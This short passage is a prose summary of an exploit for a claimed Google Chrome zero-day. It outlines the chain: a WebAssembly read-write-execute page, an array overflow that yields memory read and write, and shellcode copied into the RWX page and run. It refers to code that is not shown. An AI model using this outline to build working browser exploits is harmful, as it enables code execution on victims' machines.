Google Chrome Zero-Day
The given code is an exploit for a zero-day vulnerability in Google Chrome that can be used to execute arbitrary code with the privileges of the Chrome process. The exploit uses a WebAssembly module to bypass Chrome’s security protections and gain access to a read-write-execute (RWX) memory page, which it uses to execute shellcode.
Overall, the code uses a WebAssembly instance to take advantage of a vulnerability in the Google Chrome browser. It creates an array with a length that depends on the input provided and subsequently overflows the array by overwriting it with a controlled object. This object can then be manipulated to read and write memory, eventually leading to the ability to execute arbitrary code, which is demonstrated by copying a shellcode into a RWX page and then invoking it. The code makes use of some low-level language features such as pointers, memory allocation, and bitwise operations, which are used to bypass browser security mechanisms and gain control over the browser.
